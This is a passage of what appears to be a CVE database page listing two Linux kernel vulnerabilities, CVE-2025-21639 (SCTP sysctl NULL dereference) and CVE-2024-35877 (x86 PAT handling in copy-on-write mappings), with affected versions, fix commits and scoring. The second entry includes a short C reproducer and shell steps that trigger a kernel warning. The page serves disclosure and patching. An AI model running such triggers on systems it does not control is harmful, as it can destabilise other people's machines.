Linux	Linux	Affected: 4f3fdf3bc59cafd14c3bc2c2369efad34c7aa8b5 , < c8d179f3b1c1d60bf4484f50aa67b4c70f91bff9 (git) Affected: 4f3fdf3bc59cafd14c3bc2c2369efad34c7aa8b5 , < 246428bfb9e7db15c5cd08e1d0eca41b65af2b06 (git) Affected: 4f3fdf3bc59cafd14c3bc2c2369efad34c7aa8b5 , < 0f78f09466744589e420935e646ae78212a38290 (git) Affected: 4f3fdf3bc59cafd14c3bc2c2369efad34c7aa8b5 , < 4059507e34aa5fe0fa9fd5b2b5f0c8b26ab2d482 (git) Affected: 4f3fdf3bc59cafd14c3bc2c2369efad34c7aa8b5 , < dc9d0e3cfd16f66fbf0862857c6b391c8613ca9f (git) Affected: 4f3fdf3bc59cafd14c3bc2c2369efad34c7aa8b5 , < c87f1f6ade56c711f8736901e330685b453e420e (git) Affected: 4f3fdf3bc59cafd14c3bc2c2369efad34c7aa8b5 , < 9fc17b76fc70763780aa78b38fcf4742384044a5 (git)
Linux	Linux	Affected: 3.13 Unaffected: 0 , < 3.13 (semver) Unaffected: 5.4.290 , ≤ 5.4.* (semver) Unaffected: 5.10.234 , ≤ 5.10.* (semver) Unaffected: 5.15.177 , ≤ 5.15.* (semver) Unaffected: 6.1.125 , ≤ 6.1.* (semver) Unaffected: 6.6.72 , ≤ 6.6.* (semver) Unaffected: 6.12.10 , ≤ 6.12.* (semver) Unaffected: 6.13 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2025-21639",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-10-01T19:54:07.301315Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-476",
                "description": "CWE-476 NULL Pointer Dereference",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-01T19:57:17.653Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T20:58:20.727Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:03:00.523Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/sctp/sysctl.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "c8d179f3b1c1d60bf4484f50aa67b4c70f91bff9",
              "status": "affected",
              "version": "4f3fdf3bc59cafd14c3bc2c2369efad34c7aa8b5",
              "versionType": "git"
            },
            {
              "lessThan": "246428bfb9e7db15c5cd08e1d0eca41b65af2b06",
              "status": "affected",
              "version": "4f3fdf3bc59cafd14c3bc2c2369efad34c7aa8b5",
              "versionType": "git"
            },
            {
              "lessThan": "0f78f09466744589e420935e646ae78212a38290",
              "status": "affected",
              "version": "4f3fdf3bc59cafd14c3bc2c2369efad34c7aa8b5",
              "versionType": "git"
            },
            {
              "lessThan": "4059507e34aa5fe0fa9fd5b2b5f0c8b26ab2d482",
              "status": "affected",
              "version": "4f3fdf3bc59cafd14c3bc2c2369efad34c7aa8b5",
              "versionType": "git"
            },
            {
              "lessThan": "dc9d0e3cfd16f66fbf0862857c6b391c8613ca9f",
              "status": "affected",
              "version": "4f3fdf3bc59cafd14c3bc2c2369efad34c7aa8b5",
              "versionType": "git"
            },
            {
              "lessThan": "c87f1f6ade56c711f8736901e330685b453e420e",
              "status": "affected",
              "version": "4f3fdf3bc59cafd14c3bc2c2369efad34c7aa8b5",
              "versionType": "git"
            },
            {
              "lessThan": "9fc17b76fc70763780aa78b38fcf4742384044a5",
              "status": "affected",
              "version": "4f3fdf3bc59cafd14c3bc2c2369efad34c7aa8b5",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/sctp/sysctl.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.13"
            },
            {
              "lessThan": "3.13",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.290",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.234",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.177",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.125",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.72",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.13",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.290",
                  "versionStartIncluding": "3.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.234",
                  "versionStartIncluding": "3.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.177",
                  "versionStartIncluding": "3.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.125",
                  "versionStartIncluding": "3.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.72",
                  "versionStartIncluding": "3.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.10",
                  "versionStartIncluding": "3.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13",
                  "versionStartIncluding": "3.13",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: sysctl: rto_min/max: avoid using current-\u003ensproxy\n\nAs mentioned in a previous commit of this series, using the \u0027net\u0027\nstructure via \u0027current\u0027 is not recommended for different reasons:\n\n- Inconsistency: getting info from the reader\u0027s/writer\u0027s netns vs only\n  from the opener\u0027s netns.\n\n- current-\u003ensproxy can be NULL in some cases, resulting in an \u0027Oops\u0027\n  (null-ptr-deref), e.g. when the current task is exiting, as spotted by\n  syzbot [1] using acct(2).\n\nThe \u0027net\u0027 structure can be obtained from the table-\u003edata using\ncontainer_of().\n\nNote that table-\u003edata could also be used directly, as this is the only\nmember needed from the \u0027net\u0027 structure, but that would increase the size\nof this fix, to use \u0027*data\u0027 everywhere \u0027net-\u003esctp.rto_min/max\u0027 is used."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:03:34.261Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/c8d179f3b1c1d60bf4484f50aa67b4c70f91bff9"
        },
        {
          "url": "https://git.kernel.org/stable/c/246428bfb9e7db15c5cd08e1d0eca41b65af2b06"
        },
        {
          "url": "https://git.kernel.org/stable/c/0f78f09466744589e420935e646ae78212a38290"
        },
        {
          "url": "https://git.kernel.org/stable/c/4059507e34aa5fe0fa9fd5b2b5f0c8b26ab2d482"
        },
        {
          "url": "https://git.kernel.org/stable/c/dc9d0e3cfd16f66fbf0862857c6b391c8613ca9f"
        },
        {
          "url": "https://git.kernel.org/stable/c/c87f1f6ade56c711f8736901e330685b453e420e"
        },
        {
          "url": "https://git.kernel.org/stable/c/9fc17b76fc70763780aa78b38fcf4742384044a5"
        }
      ],
      "title": "sctp: sysctl: rto_min/max: avoid using current-\u003ensproxy",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21639",
    "datePublished": "2025-01-19T10:17:56.828Z",
    "dateReserved": "2024-12-29T08:45:45.727Z",
    "dateUpdated": "2026-05-12T12:03:00.523Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35877 (GCVE-0-2024-35877)

Vulnerability from cvelistv5 – Published: 2024-05-19 08:34 – Updated: 2026-05-12 11:52

Title

x86/mm/pat: fix VM_PAT handling in COW mappings

Summary

In the Linux kernel, the following vulnerability has been resolved: x86/mm/pat: fix VM_PAT handling in COW mappings PAT handling won't do the right thing in COW mappings: the first PTE (or, in fact, all PTEs) can be replaced during write faults to point at anon folios. Reliably recovering the correct PFN and cachemode using follow_phys() from PTEs will not work in COW mappings. Using follow_phys(), we might just get the address+protection of the anon folio (which is very wrong), or fail on swap/nonswap entries, failing follow_phys() and triggering a WARN_ON_ONCE() in untrack_pfn() and track_pfn_copy(), not properly calling free_pfn_range(). In free_pfn_range(), we either wouldn't call memtype_free() or would call it with the wrong range, possibly leaking memory. To fix that, let's update follow_phys() to refuse returning anon folios, and fallback to using the stored PFN inside vma->vm_pgoff for COW mappings if we run into that. We will now properly handle untrack_pfn() with COW mappings, where we don't need the cachemode. We'll have to fail fork()->track_pfn_copy() if the first page was replaced by an anon folio, though: we'd have to store the cachemode in the VMA to make this work, likely growing the VMA size. For now, lets keep it simple and let track_pfn_copy() just fail in that case: it would have failed in the past with swap/nonswap entries already, and it would have done the wrong thing with anon folios. Simple reproducer to trigger the WARN_ON_ONCE() in untrack_pfn(): <--- C reproducer ---> #include <stdio.h> #include <sys/mman.h> #include <unistd.h> #include <liburing.h> int main(void) { struct io_uring_params p = {}; int ring_fd; size_t size; char *map; ring_fd = io_uring_setup(1, &p); if (ring_fd < 0) { perror("io_uring_setup"); return 1; } size = p.sq_off.array + p.sq_entries * sizeof(unsigned); /* Map the submission queue ring MAP_PRIVATE */ map = mmap(0, size, PROT_READ | PROT_WRITE, MAP_PRIVATE, ring_fd, IORING_OFF_SQ_RING); if (map == MAP_FAILED) { perror("mmap"); return 1; } /* We have at least one page. Let's COW it. */ *map = 0; pause(); return 0; } <--- C reproducer ---> On a system with 16 GiB RAM and swap configured: # ./iouring & # memhog 16G # killall iouring [ 301.552930] ------------[ cut here ]------------ [ 301.553285] WARNING: CPU: 7 PID: 1402 at arch/x86/mm/pat/memtype.c:1060 untrack_pfn+0xf4/0x100 [ 301.553989] Modules linked in: binfmt_misc nft_fib_inet nft_fib_ipv4 nft_fib_ipv6 nft_fib nft_reject_g [ 301.558232] CPU: 7 PID: 1402 Comm: iouring Not tainted 6.7.5-100.fc38.x86_64 #1 [ 301.558772] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebu4 [ 301.559569] RIP: 0010:untrack_pfn+0xf4/0x100 [ 301.559893] Code: 75 c4 eb cf 48 8b 43 10 8b a8 e8 00 00 00 3b 6b 28 74 b8 48 8b 7b 30 e8 ea 1a f7 000 [ 301.561189] RSP: 0018:ffffba2c0377fab8 EFLAGS: 00010282 [ 301.561590] RAX: 00000000ffffffea RBX: ffff9208c8ce9cc0 RCX: 000000010455e047 [ 301.562105] RDX: 07fffffff0eb1e0a RSI: 0000000000000000 RDI: ffff9208c391d200 [ 301.562628] RBP: 0000000000000000 R08: ffffba2c0377fab8 R09: 0000000000000000 [ 301.563145] R10: ffff9208d2292d50 R11: 0000000000000002 R12: 00007fea890e0000 [ 301.563669] R13: 0000000000000000 R14: ffffba2c0377fc08 R15: 0000000000000000 [ 301.564186] FS: 0000000000000000(0000) GS:ffff920c2fbc0000(0000) knlGS:0000000000000000 [ 301.564773] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 301.565197] CR2: 00007fea88ee8a20 CR3: 00000001033a8000 CR4: 0000000000750ef0 [ 301.565725] PKRU: 55555554 [ 301.565944] Call Trace: [ 301.566148] <TASK> [ 301.566325] ? untrack_pfn+0xf4/0x100 [ 301.566618] ? __warn+0x81/0x130 [ 301.566876] ? untrack_pfn+0xf4/0x100 [ 3 ---truncated---

Severity ?

No CVSS data available.

CWE

CWE-noinfo Not enough information

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/f18681daaec9665a1…
https://git.kernel.org/stable/c/09e6bb53217bf388a…
https://git.kernel.org/stable/c/c2b2430b48f3c9eac…
https://git.kernel.org/stable/c/7cfee26d1950250b1…
https://git.kernel.org/stable/c/97e93367e82752e47…
https://git.kernel.org/stable/c/51b7841f3fe84606e…
https://git.kernel.org/stable/c/1341e4b32e1fb1b0a…
https://git.kernel.org/stable/c/04c35ab3bdae7fefb…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 5899329b19100c0b82dc78e9b21ed8b920c9ffb3 , < f18681daaec9665a15c5e7e0f591aad5d0ac622b (git) Affected: 5899329b19100c0b82dc78e9b21ed8b920c9ffb3 , < 09e6bb53217bf388a0d2fd7fb21e74ab9dffc173 (git) Affected: 5899329b19100c0b82dc78e9b21ed8b920c9ffb3 , < c2b2430b48f3c9eaccd2c3d2ad75bb540d4952f4 (git) Affected: 5899329b19100c0b82dc78e9b21ed8b920c9ffb3 , < 7cfee26d1950250b14c5cb0a37b142f3fcc6396a (git) Affected: 5899329b19100c0b82dc78e9b21ed8b920c9ffb3 , < 97e93367e82752e475a33839a80b33bdbef1209f (git) Affected: 5899329b19100c0b82dc78e9b21ed8b920c9ffb3 , < 51b7841f3fe84606ec0bd8da859d22e05e5419ec (git) Affected: 5899329b19100c0b82dc78e9b21ed8b920c9ffb3 , < 1341e4b32e1fb1b0acd002ccd56f07bd32f2abc6 (git) Affected: 5899329b19100c0b82dc78e9b21ed8b920c9ffb3 , < 04c35ab3bdae7fefbd7c7a7355f29fa03a035221 (git)
Linux	Linux	Affected: 2.6.29 Unaffected: 0 , < 2.6.29 (semver) Unaffected: 4.19.312 , ≤ 4.19.* (semver) Unaffected: 5.4.274 , ≤ 5.4.* (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.155 , ≤ 5.15.* (semver) Unaffected: 6.1.85 , ≤ 6.1.* (semver) Unaffected: 6.6.26 , ≤ 6.6.* (semver) Unaffected: 6.8.5 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-35877",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-01-16T21:13:41.454834Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "description": "CWE-noinfo Not enough information",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-01-16T21:14:37.162Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:48.797Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f18681daaec9665a15c5e7e0f591aad5d0ac622b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/09e6bb53217bf388a0d2fd7fb21e74ab9dffc173"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c2b2430b48f3c9eaccd2c3d2ad75bb540d4952f4"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7cfee26d1950250b14c5cb0a37b142f3fcc6396a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/97e93367e82752e475a33839a80b33bdbef1209f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/51b7841f3fe84606ec0bd8da859d22e05e5419ec"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1341e4b32e1fb1b0acd002ccd56f07bd32f2abc6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/04c35ab3bdae7fefbd7c7a7355f29fa03a035221"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:52:17.843Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "arch/x86/mm/pat/memtype.c",
            "mm/memory.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "f18681daaec9665a15c5e7e0f591aad5d0ac622b",
              "status": "affected",
              "version": "5899329b19100c0b82dc78e9b21ed8b920c9ffb3",
              "versionType": "git"
            },
            {
              "lessThan": "09e6bb53217bf388a0d2fd7fb21e74ab9dffc173",
              "status": "affected",
              "version": "5899329b19100c0b82dc78e9b21ed8b920c9ffb3",
              "versionType": "git"
            },
            {
              "lessThan": "c2b2430b48f3c9eaccd2c3d2ad75bb540d4952f4",
              "status": "affected",
              "version": "5899329b19100c0b82dc78e9b21ed8b920c9ffb3",
              "versionType": "git"
            },
            {
              "lessThan": "7cfee26d1950250b14c5cb0a37b142f3fcc6396a",
              "status": "affected",
              "version": "5899329b19100c0b82dc78e9b21ed8b920c9ffb3",
              "versionType": "git"
            },
            {
              "lessThan": "97e93367e82752e475a33839a80b33bdbef1209f",
              "status": "affected",
              "version": "5899329b19100c0b82dc78e9b21ed8b920c9ffb3",
              "versionType": "git"
            },
            {
              "lessThan": "51b7841f3fe84606ec0bd8da859d22e05e5419ec",
              "status": "affected",
              "version": "5899329b19100c0b82dc78e9b21ed8b920c9ffb3",
              "versionType": "git"
            },
            {
              "lessThan": "1341e4b32e1fb1b0acd002ccd56f07bd32f2abc6",
              "status": "affected",
              "version": "5899329b19100c0b82dc78e9b21ed8b920c9ffb3",
              "versionType": "git"
            },
            {
              "lessThan": "04c35ab3bdae7fefbd7c7a7355f29fa03a035221",
              "status": "affected",
              "version": "5899329b19100c0b82dc78e9b21ed8b920c9ffb3",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "arch/x86/mm/pat/memtype.c",
            "mm/memory.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.29"
            },
            {
              "lessThan": "2.6.29",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.312",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.274",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.155",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.85",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.26",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.5",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.312",
                  "versionStartIncluding": "2.6.29",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.274",
                  "versionStartIncluding": "2.6.29",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "2.6.29",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.155",
                  "versionStartIncluding": "2.6.29",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.85",
                  "versionStartIncluding": "2.6.29",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.26",
                  "versionStartIncluding": "2.6.29",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.5",
                  "versionStartIncluding": "2.6.29",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "2.6.29",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nx86/mm/pat: fix VM_PAT handling in COW mappings\n\nPAT handling won\u0027t do the right thing in COW mappings: the first PTE (or,\nin fact, all PTEs) can be replaced during write faults to point at anon\nfolios.  Reliably recovering the correct PFN and cachemode using\nfollow_phys() from PTEs will not work in COW mappings.\n\nUsing follow_phys(), we might just get the address+protection of the anon\nfolio (which is very wrong), or fail on swap/nonswap entries, failing\nfollow_phys() and triggering a WARN_ON_ONCE() in untrack_pfn() and\ntrack_pfn_copy(), not properly calling free_pfn_range().\n\nIn free_pfn_range(), we either wouldn\u0027t call memtype_free() or would call\nit with the wrong range, possibly leaking memory.\n\nTo fix that, let\u0027s update follow_phys() to refuse returning anon folios,\nand fallback to using the stored PFN inside vma-\u003evm_pgoff for COW mappings\nif we run into that.\n\nWe will now properly handle untrack_pfn() with COW mappings, where we\ndon\u0027t need the cachemode.  We\u0027ll have to fail fork()-\u003etrack_pfn_copy() if\nthe first page was replaced by an anon folio, though: we\u0027d have to store\nthe cachemode in the VMA to make this work, likely growing the VMA size.\n\nFor now, lets keep it simple and let track_pfn_copy() just fail in that\ncase: it would have failed in the past with swap/nonswap entries already,\nand it would have done the wrong thing with anon folios.\n\nSimple reproducer to trigger the WARN_ON_ONCE() in untrack_pfn():\n\n\u003c--- C reproducer ---\u003e\n #include \u003cstdio.h\u003e\n #include \u003csys/mman.h\u003e\n #include \u003cunistd.h\u003e\n #include \u003cliburing.h\u003e\n\n int main(void)\n {\n         struct io_uring_params p = {};\n         int ring_fd;\n         size_t size;\n         char *map;\n\n         ring_fd = io_uring_setup(1, \u0026p);\n         if (ring_fd \u003c 0) {\n                 perror(\"io_uring_setup\");\n                 return 1;\n         }\n         size = p.sq_off.array + p.sq_entries * sizeof(unsigned);\n\n         /* Map the submission queue ring MAP_PRIVATE */\n         map = mmap(0, size, PROT_READ | PROT_WRITE, MAP_PRIVATE,\n                    ring_fd, IORING_OFF_SQ_RING);\n         if (map == MAP_FAILED) {\n                 perror(\"mmap\");\n                 return 1;\n         }\n\n         /* We have at least one page. Let\u0027s COW it. */\n         *map = 0;\n         pause();\n         return 0;\n }\n\u003c--- C reproducer ---\u003e\n\nOn a system with 16 GiB RAM and swap configured:\n # ./iouring \u0026\n # memhog 16G\n # killall iouring\n[  301.552930] ------------[ cut here ]------------\n[  301.553285] WARNING: CPU: 7 PID: 1402 at arch/x86/mm/pat/memtype.c:1060 untrack_pfn+0xf4/0x100\n[  301.553989] Modules linked in: binfmt_misc nft_fib_inet nft_fib_ipv4 nft_fib_ipv6 nft_fib nft_reject_g\n[  301.558232] CPU: 7 PID: 1402 Comm: iouring Not tainted 6.7.5-100.fc38.x86_64 #1\n[  301.558772] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebu4\n[  301.559569] RIP: 0010:untrack_pfn+0xf4/0x100\n[  301.559893] Code: 75 c4 eb cf 48 8b 43 10 8b a8 e8 00 00 00 3b 6b 28 74 b8 48 8b 7b 30 e8 ea 1a f7 000\n[  301.561189] RSP: 0018:ffffba2c0377fab8 EFLAGS: 00010282\n[  301.561590] RAX: 00000000ffffffea RBX: ffff9208c8ce9cc0 RCX: 000000010455e047\n[  301.562105] RDX: 07fffffff0eb1e0a RSI: 0000000000000000 RDI: ffff9208c391d200\n[  301.562628] RBP: 0000000000000000 R08: ffffba2c0377fab8 R09: 0000000000000000\n[  301.563145] R10: ffff9208d2292d50 R11: 0000000000000002 R12: 00007fea890e0000\n[  301.563669] R13: 0000000000000000 R14: ffffba2c0377fc08 R15: 0000000000000000\n[  301.564186] FS:  0000000000000000(0000) GS:ffff920c2fbc0000(0000) knlGS:0000000000000000\n[  301.564773] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[  301.565197] CR2: 00007fea88ee8a20 CR3: 00000001033a8000 CR4: 0000000000750ef0\n[  301.565725] PKRU: 55555554\n[  301.565944] Call Trace:\n[  301.566148]  \u003cTASK\u003e\n[  301.566325]  ? untrack_pfn+0xf4/0x100\n[  301.566618]  ? __warn+0x81/0x130\n[  301.566876]  ? untrack_pfn+0xf4/0x100\n[  3\n---truncated---"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:12:58.539Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/f18681daaec9665a15c5e7e0f591aad5d0ac622b"
        },
        {
          "url": "https://git.kernel.org/stable/c/09e6bb53217bf388a0d2fd7fb21e74ab9dffc173"
        },
        {
          "url": "https://git.kernel.org/stable/c/c2b2430b48f3c9eaccd2c3d2ad75bb540d4952f4"
        },
        {
